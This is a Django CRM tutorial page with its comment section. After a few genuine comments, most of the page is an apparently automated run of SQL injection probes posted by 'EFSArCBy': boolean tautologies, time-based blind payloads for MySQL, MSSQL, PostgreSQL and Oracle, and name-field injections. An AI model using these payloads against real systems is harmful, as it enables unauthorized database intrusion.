Part one - Installation and setup - Learn Django By Building a CRM

In this course, I will teach you basic Django by building a CRM from scratch. I will begin by installing and setting up everything we need, and then build the project piece by piece.

Things you will learn in this video:
-How to set up the development environment
-How to install Django
-Basic Django / Python
-Tailwind CSS

Comments

Heidi | Mar 09, 23 05:15

Hi Stein. Thank you for making this course free! Do you have the code in github? I followed along but none of my Submit buttons are working and I cannot see where I went wrong


Stein Ove Helset | Apr 08, 23 06:18

Hey, yes the code is located here:
https://github.com/SteinOveHelset/tealcrm

Heidi | Mar 09, 23 05:26

No worries. I found my problem. The submit button was outside the form

EFSArCBy | Jul 02, 26 11:41

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

-1 OR 2+226-226-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:43

-1 OR 2+313-313-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:43

-1' OR 2+420-420-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:43

-1' OR 2+780-780-1=0+0+0+1 or 'd2NDtI0H'='

EFSArCBy | Jul 02, 26 11:43

-1" OR 2+456-456-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:43

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:43

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:43

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:43

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:43

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555sFvZ1aft'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:43

555-1 OR 557=(SELECT 557 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555-1) OR 643=(SELECT 643 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555-1)) OR 845=(SELECT 845 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555L12Q9ZrH' OR 537=(SELECT 537 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555SGD3uecw') OR 92=(SELECT 92 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555fwTVOiT0')) OR 898=(SELECT 898 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:43

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:43

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555'"

EFSArCBy | Jul 02, 26 11:43

@@Nw3i5

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

-1 OR 2+350-350-1=0+0+0+1 -- | Jul 02, 26 11:43

555

-1 OR 2+738-738-1=0+0+0+1 | Jul 02, 26 11:43

555

-1' OR 2+994-994-1=0+0+0+1 -- | Jul 02, 26 11:43

555

-1' OR 2+139-139-1=0+0+0+1 or 'D2CrN3wz'=' | Jul 02, 26 11:43

555

-1" OR 2+181-181-1=0+0+0+1 -- | Jul 02, 26 11:43

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:43

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:43

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:43

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:43

555

EFSArCByUuGF3EDi'; waitfor delay '0:0:15' -- | Jul 02, 26 11:43

555

EFSArCByTdJv8Gv2' OR 925=(SELECT 925 FROM PG_SLEEP(15))-- | Jul 02, 26 11:43

555

EFSArCByNMij6Edl') OR 988=(SELECT 988 FROM PG_SLEEP(15))-- | Jul 02, 26 11:43

555

EFSArCByaMNSVmDo')) OR 126=(SELECT 126 FROM PG_SLEEP(15))-- | Jul 02, 26 11:43

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy'" | Jul 02, 26 11:43

555

@@9rLRX | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 02, 26 11:43

555

EFSArCBy | Jul 21, 26 12:37

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

555

EFSArCBy | Jul 21, 26 12:38

-1 OR 2+555-555-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:38

-1 OR 2+448-448-1=0+0+0+1

EFSArCBy | Jul 21, 26 12:38

-1' OR 2+60-60-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:38

-1' OR 2+365-365-1=0+0+0+1 or 'JfdxTW1x'='

EFSArCBy | Jul 21, 26 12:38

-1" OR 2+974-974-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:38

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 21, 26 12:38

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 21, 26 12:38

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 21, 26 12:38

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 21, 26 12:38

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:39

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:39

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:39

555hIwQqPMX'; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:39

555-1 OR 207=(SELECT 207 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:39

555-1) OR 594=(SELECT 594 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:39

555-1)) OR 607=(SELECT 607 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:39

5557iSHnLTE' OR 232=(SELECT 232 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:39

55528fXM7yF') OR 704=(SELECT 704 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:39

555f7XA6Gwu')) OR 138=(SELECT 138 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:39

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 21, 26 12:39

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555'"

EFSArCBy | Jul 21, 26 12:39

@@7fZLB

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

-1 OR 2+401-401-1=0+0+0+1 -- | Jul 21, 26 12:39

555

-1 OR 2+985-985-1=0+0+0+1 | Jul 21, 26 12:39

555

-1' OR 2+341-341-1=0+0+0+1 -- | Jul 21, 26 12:39

555

-1' OR 2+428-428-1=0+0+0+1 or 'qlfMhLrf'=' | Jul 21, 26 12:39

555

-1" OR 2+950-950-1=0+0+0+1 -- | Jul 21, 26 12:39

555

if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:39

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:39

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:39

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:39

555

EFSArCByJoBfV9Rx'; waitfor delay '0:0:15' -- | Jul 21, 26 12:39

555

EFSArCByORtNy2Zc' OR 887=(SELECT 887 FROM PG_SLEEP(15))-- | Jul 21, 26 12:39

555

EFSArCByg5XEDoTW') OR 102=(SELECT 102 FROM PG_SLEEP(15))-- | Jul 21, 26 12:39

555

EFSArCBy7gTCtCO3')) OR 827=(SELECT 827 FROM PG_SLEEP(15))-- | Jul 21, 26 12:39

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy'" | Jul 21, 26 12:39

555

@@rW2XV | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 21, 26 12:39

555

EFSArCBy | Jul 23, 26 03:33

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

-1 OR 2+299-299-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:36

-1 OR 2+420-420-1=0+0+0+1

EFSArCBy | Jul 23, 26 03:36

-1' OR 2+561-561-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:36

-1' OR 2+64-64-1=0+0+0+1 or 'aDQdQTEH'='

EFSArCBy | Jul 23, 26 03:36

-1" OR 2+808-808-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:36

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 03:36

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 03:36

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 03:36

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 03:36

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555pDWdyEt4'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:36

555-1 OR 412=(SELECT 412 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555-1) OR 701=(SELECT 701 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555-1)) OR 265=(SELECT 265 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555XijijMtI' OR 342=(SELECT 342 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555MONNiFQa') OR 130=(SELECT 130 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

5556gFtMvCY')) OR 527=(SELECT 527 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:36

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 03:36

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555'"

EFSArCBy | Jul 23, 26 03:36

@@3l9zh

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

-1 OR 2+686-686-1=0+0+0+1 -- | Jul 23, 26 03:36

555

-1 OR 2+109-109-1=0+0+0+1 | Jul 23, 26 03:36

555

-1' OR 2+707-707-1=0+0+0+1 -- | Jul 23, 26 03:36

555

-1' OR 2+969-969-1=0+0+0+1 or 'unfUnHih'=' | Jul 23, 26 03:36

555

-1" OR 2+457-457-1=0+0+0+1 -- | Jul 23, 26 03:36

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:36

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:36

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:36

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:36

555

EFSArCByKpW9SIxQ'; waitfor delay '0:0:15' -- | Jul 23, 26 03:36

555

EFSArCByTShFh4mN' OR 254=(SELECT 254 FROM PG_SLEEP(15))-- | Jul 23, 26 03:36

555

EFSArCByVc1crbfc') OR 965=(SELECT 965 FROM PG_SLEEP(15))-- | Jul 23, 26 03:36

555

EFSArCByegNwVX95')) OR 630=(SELECT 630 FROM PG_SLEEP(15))-- | Jul 23, 26 03:36

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy'" | Jul 23, 26 03:36

555

@@VhRJ1 | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

EFSArCBy | Jul 23, 26 03:36

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.